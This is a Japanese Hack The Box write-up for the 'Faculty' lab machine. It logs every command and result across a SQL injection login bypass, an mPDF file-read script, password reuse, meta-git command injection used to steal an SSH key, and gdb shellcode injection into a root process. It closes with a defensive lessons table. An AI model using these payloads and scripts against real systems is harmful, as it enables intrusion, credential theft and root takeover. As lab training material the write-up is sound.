Hack The BoxのWriteup(Faculty)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Faculty — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80、faculty.htbリダイレクト確認
SQLi認証バイパス
‘ or 1=1;– –
mPDF <annotation> LFI
db_connect.php読取
パスワード使い回し
gbyolo SSH
meta-git コマンド注入
HackerOne #728040
developer シェル取得
user.txt ✓
gdb cap_sys_ptrace
debugグループ
シェルコード注入
root所有プロセスへ$rip書換
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 3000 -T4 --max-retries 2 10.129.227.208
RESULT
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 29.29 seconds

HTTPリダイレクトチェーンでマシンを確定

BASH
echo "10.129.227.208 faculty.htb" | sudo tee -a /etc/hosts
curl -s -I http://10.129.227.208/
curl -s -I http://faculty.htb/
RESULT
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Location: http://faculty.htb

HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Set-Cookie: PHPSESSID=...
location: login.php
ターゲット確定: IPアクセス→faculty.htbへのリダイレクト→ さらにlogin.phpへのリダイレクトという2段の遷移が、 既知のFacultyマシンのnginx設定と完全に一致した。

ログインフォームの調査

BASH
curl -s http://faculty.htb/login.php | grep -oE 'name="[a-zA-Z_]*"'
curl -s http://faculty.htb/admin/login.php | grep -oE 'name="[a-zA-Z_]*"'
RESULT
login.php        : name="id_no"          (教員ログイン)
admin/login.php  : name="username", name="password"  (管理者ログイン)
ℹ️
両方のログインフォームは /admin/ajax.php にPOSTされる。教員ログインは action=login_faculty、管理者ログインは action=login で振り分けられている。PHP製の学校スケジューリング管理アプリ (SourceCodester由来)。
PHASE 2

SQLi 認証バイパス — Admin管理画面への侵入

クラシックな認証バイパスペイロード

BASH
curl -s -c admin_cookies.txt -X POST "http://faculty.htb/admin/ajax.php?action=login" \
  --data-urlencode "username=' or 1=1;-- -" \
  --data-urlencode "password=x"
RESULT
1
BASH (セッション確認)
curl -s -b admin_cookies.txt http://faculty.htb/admin/index.php | grep -oE "Welcome[^<]*"
RESULT
Welcome back Administrator!
認証バイパス成功。 username パラメータがSQLクエリへ サニタイズなしで連結されており、' or 1=1;-- - でWHERE句を常に真にして 最初にヒットしたレコード(管理者)としてログインできる。同じペイロードは /login.php(id_noパラメータ経由)でも通用するが、 管理者側の方がPDF生成機能等、後続の攻撃に必要な機能へアクセスできる。
PHASE 3

mPDF <annotation> タグによる任意ファイル読取 (LFI)

脆弱性の背景

NOTE
各種一覧ページの「PDFダウンロード」ボタンは /admin/download.php に
pdf=<HTML断片をURL-encode→URL-encode→base64した値> をPOSTし、mPDFライブラリで
HTMLをPDF化する。mPDF 6.0 (本マシンで使用中のバージョン) には、7.0で追加された
allowAnnotationFiles による制限が無いため、以下のタグでサーバー上の任意ファイルを
PDFの「添付ファイル」として埋め込ませることができる:

  <annotation file="/etc/passwd" content="/etc/passwd" icon="Graph"
    title="Attached File: x" pos-x="195" />

LFI読み取りスクリプト

PYTHON (mpdf_read.py)
import base64, urllib.parse, subprocess

def read_file(remote_path, cookiejar="admin_cookies.txt"):
    html = (f'The PDF is dark and full of attachments  \n'
            f'<annotation file="{remote_path}" content="{remote_path}" '
            f'icon="Graph" title="Attached File: x" pos-x="195" />')
    enc = urllib.parse.quote(urllib.parse.quote(html, safe=''), safe='')
    b64 = base64.b64encode(enc.encode()).decode()
    r = subprocess.run(["curl","-s","-b",cookiejar,"-X","POST",
        "http://faculty.htb/admin/download.php",
        "--data-urlencode", f"pdf={b64}"], capture_output=True, text=True)
    pdfname = r.stdout.strip()
    return subprocess.run(["curl","-s",
        f"http://faculty.htb/mpdf/tmp/{pdfname}"], capture_output=True).stdout
BASH (実行 & 添付ファイル抽出)
python3 mpdf_read.py "/etc/passwd" > passwd.pdf
pdfdetach -list passwd.pdf
pdfdetach -save 1 -o extracted_passwd passwd.pdf
grep -E "gbyolo|developer|^root:" extracted_passwd
RESULT
1: passwd
root:x:0:0:root:/root:/bin/bash
gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
developer:x:1001:1002:,,,:/home/developer:/bin/bash
LFI成功。 シェル持ちの非標準ユーザー gbyolodeveloper を確認。

db_connect.php からDB資格情報を窃取

BASH
python3 mpdf_read.py "db_connect.php" > dbconnect.pdf
pdfdetach -save 1 -o extracted_db dbconnect.pdf
cat extracted_db
RESULT
<?php
$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')
  or die("Could not connect to mysql".mysqli_error($con));
🚨
資格情報窃取成功: MySQL接続用の平文パスワード Co.met06aci.dly53ro.per を取得。/admin/ajax.phpを 先に読んで admin_class.phpdb_connect.php という includeの連鎖を特定した上でこのファイルに辿り着いた。
PHASE 4

パスワード使い回し & meta-git コマンドインジェクション → user.txt

SSH (パスワード使い回し)

BASH
sshpass -p 'Co.met06aci.dly53ro.per' ssh gbyolo@10.129.227.208 "id"
RESULT
uid=1000(gbyolo) gid=1000(gbyolo) groups=1000(gbyolo)
SSH成功。 Webアプリ用に窃取したDBパスワードが gbyolo のシステムログインパスワードとしてそのまま使い回されていた。

sudo権限の確認

BASH
echo 'Co.met06aci.dly53ro.per' | sudo -S -l
RESULT
User gbyolo may run the following commands on faculty:
    (developer) /usr/local/bin/meta-git

meta-git clone コマンドインジェクション (HackerOne #728040)

NOTE
meta-git はNode.js製のgitラッパーCLI。cloneサブコマンドに渡した「リポジトリ名」を
サニタイズせずシェルコマンド構築に使うため、`||` でコマンドを連結できる
(HackerOne公開レポート #728040 に詳細PoCあり)。
BASH
cd /dev/shm
echo 'Co.met06aci.dly53ro.per' | sudo -S -u developer meta-git clone \
  '0xdf||cat /home/developer/user.txt > /dev/shm/.x'
cat /dev/shm/.x
RESULT
meta git cloning into '0xdf||cat /home/developer/user.txt > /dev/shm/.x' at .x
.x:
fatal: destination path '0xdf' already exists and is not an empty directory.
(node:xxxx) UnhandledPromiseRejectionWarning: ...

af3d24980d455bf10e478f7848f98cbd
user.txt — developer
af3d24980d455bf10e478f7848f98cbd
ℹ️
meta-git自体はエラーで終了するが、||以降の cat ... > .x は developer 権限で実行され、生成された .x は他ユーザーからも 読み取り可能なパーミッション(-rw-rw-r--)で作成される。

developer SSH秘密鍵の窃取と永続アクセス

BASH
echo 'Co.met06aci.dly53ro.per' | sudo -S -u developer meta-git clone \
  '0xdf||cat /home/developer/.ssh/id_rsa > /dev/shm/.k; chmod 644 /dev/shm/.k'
scp gbyolo@10.129.227.208:/dev/shm/.k developer_id_rsa
chmod 600 developer_id_rsa
ssh -i developer_id_rsa developer@10.129.227.208 "id; groups"
RESULT
uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty)
developer として永続SSHアクセス確立。 debug グループへの 所属が次の権限昇格の鍵になる。
PHASE 5

gdb + cap_sys_ptrace シェルコード注入 → root.txt

debug グループの所有物と特殊capability確認

BASH
find / -group debug 2>/dev/null
ls -l /usr/bin/gdb
getcap /usr/bin/gdb
RESULT
/usr/bin/gdb
-rwxr-x--- 1 root debug 8440200 Dec  8  2021 /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace+ep
🚨
重大発見: cap_sys_ptrace capabilityにより、 この gdbroot権限を含む任意ユーザーの任意プロセスptrace(2)でアタッチしてメモリを読み書きできる。root所有プロセスへの アタッチが可能であれば、そのプロセスのコンテキストで任意コード実行に等しい。

シェルコード生成 & gdbコマンド列への変換

BASH
# /bin/bash を直接SUID化せず、/tmp へのコピーを作ってSUIDを立てる (非破壊的)
msfvenom -p linux/x64/exec \
  CMD='cp /bin/bash /tmp/.faculty_rootbash; chmod 4755 /tmp/.faculty_rootbash' \
  -f raw -o shellcode.bin
PYTHON (シェルコード → gdbコマンド列)
buf = open("shellcode.bin","rb").read() + b"\xcc" * 8
buf = b"\x90" * (16 - (len(buf) % 8)) + buf   # NOPパディングで8バイト境界に揃える

for i in range(0, len(buf), 8):
    chunk = buf[i:i+8][::-1]                  # リトルエンディアンで逆順に
    hexstr = ''.join(f'{b:02x}' for b in chunk)
    print(f"set {{long}}($rip+{i}) = 0x{hexstr}")
print("c")   # continue で実行再開
RESULT (抜粋)
set {long}($rip+0) = 0x9090909090909090
set {long}($rip+8) = 0x2f6e69622fb84890
...
set {long}($rip+64) = 0xcccccccccccccccc
c

root所有プロセスへのアタッチ & 注入

BASH
pgrep -f 'php-fpm: master'
# → 908 (root所有の安定したデーモン。postfix master等でも可)

scp gdb_cmds.txt developer@10.129.227.208:/tmp/.gdbcmds
ssh developer@10.129.227.208 "timeout 10 gdb -q -p 908 -x /tmp/.gdbcmds -batch"
RESULT
0x00007f5a83d1b42a in _start () from /lib64/ld-linux-x86-64.so.2
process 908 is executing new program: /usr/bin/dash
warning: Probes-based dynamic linker interface failed.
Reverting to original interface.
[Detaching after fork from child process 3378]
[Inferior 1 (process 908) exited normally]
シェルコード注入成功。 アタッチ直後、プロセスはローダの _start($rip)で停止している。この番地から始まる メモリ領域にシェルコードを直接書き込み continue すると、 root権限の php-fpm master プロセスがそのシェルコードを実行し、 /tmp/.faculty_rootbash にSUID付きのbashコピーを作成した。

root.txt取得

BASH
ls -la /tmp/.faculty_rootbash
/tmp/.faculty_rootbash -p -c 'id; cat /root/root.txt'
RESULT
-rwsr-sr-x 1 root root 1183448 ... /tmp/.faculty_rootbash
uid=1001(developer) gid=1002(developer) euid=0(root) egid=0(root) groups=0(root),...
880b06d3d04fb9d0e56cda11dc3e9b16
root.txt — root
880b06d3d04fb9d0e56cda11dc3e9b16
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — developer
af3d24980d455bf10e478f7848f98cbd
root.txt — root
880b06d3d04fb9d0e56cda11dc3e9b16

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SQLi認証バイパス /admin/login.php, /login.php 認証なしで管理者アクセス High ' or 1=1;-- - をusername/id_noに送りWHERE句を常に真にする
mPDF 6.0 <annotation> LFI /admin/download.php (mPDF ライブラリ) 任意ファイル読取 High allowAnnotationFiles制限の無い旧バージョンで、 PDF添付ファイルタグにサーバー内パスを指定して読取
パスワード使い回し MySQL接続資格情報 = gbyolo SSHパスワード 初期侵入(SSH) Medium Webアプリの設定ファイルから窃取した平文パスワードでSSH認証
meta-git コマンドインジェクション /usr/local/bin/meta-git clone (HackerOne #728040) developer 権限でのコマンド実行 High cloneの引数に ||<command> を含めシェルへ注入
cap_sys_ptrace 権限昇格 /usr/bin/gdb (debugグループ、capability付与) リモートコード実行 (root) Critical root所有プロセスにgdbでアタッチし、$ripへシェルコードを直接書込んでcontinue

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + リダイレクトチェーン確認22/80、faculty.htb確定
2認証バイパスSQLi (' or 1=1;-- -)Admin管理画面アクセス
3LFImPDF <annotation>タグdb_connect.php資格情報 sched:Co.met06aci.dly53ro.per
4横展開パスワード使い回し + meta-git注入user.txt 取得 (developer)
5権限昇格gdb + cap_sys_ptrace シェルコード注入root.txt 取得 (root)

学んだ教訓 & 防御策

問題点防御策
ログインフォームのSQLクエリがユーザー入力をそのまま連結している すべての入力をプレースホルダ付きパラメータ化クエリで処理する。
古いバージョンのmPDF (6.0) を使い続けている ライブラリを最新版へアップデートし、allowAnnotationFilesを 明示的に無効化する。ユーザー制御のHTMLをそのままPDF化しない。
アプリケーションのDB接続パスワードをOSアカウントのパスワードに使い回している 用途ごとに異なる認証情報を発行する。設定ファイルの資格情報は シークレット管理サービスで管理する。
sudoで許可したNode.js CLIツール(meta-git)が引数をサニタイズせずシェル起動している サードパーティCLIをsudo経由で許可する前に既知の脆弱性を確認する。 可能な限りラッパースクリプトで引数を厳格に検証してから渡す。
debugグループの gdb に cap_sys_ptrace が付与され、事実上のroot昇格経路になっている デバッグツールに特権capabilityを付与する場合は対象を限定する (例: seccomp/AppArmorでアタッチ可能なプロセスを制限)。 不要なユーザーをdebugグループに所属させない。
HackTheBox: Faculty | 完全攻略レポート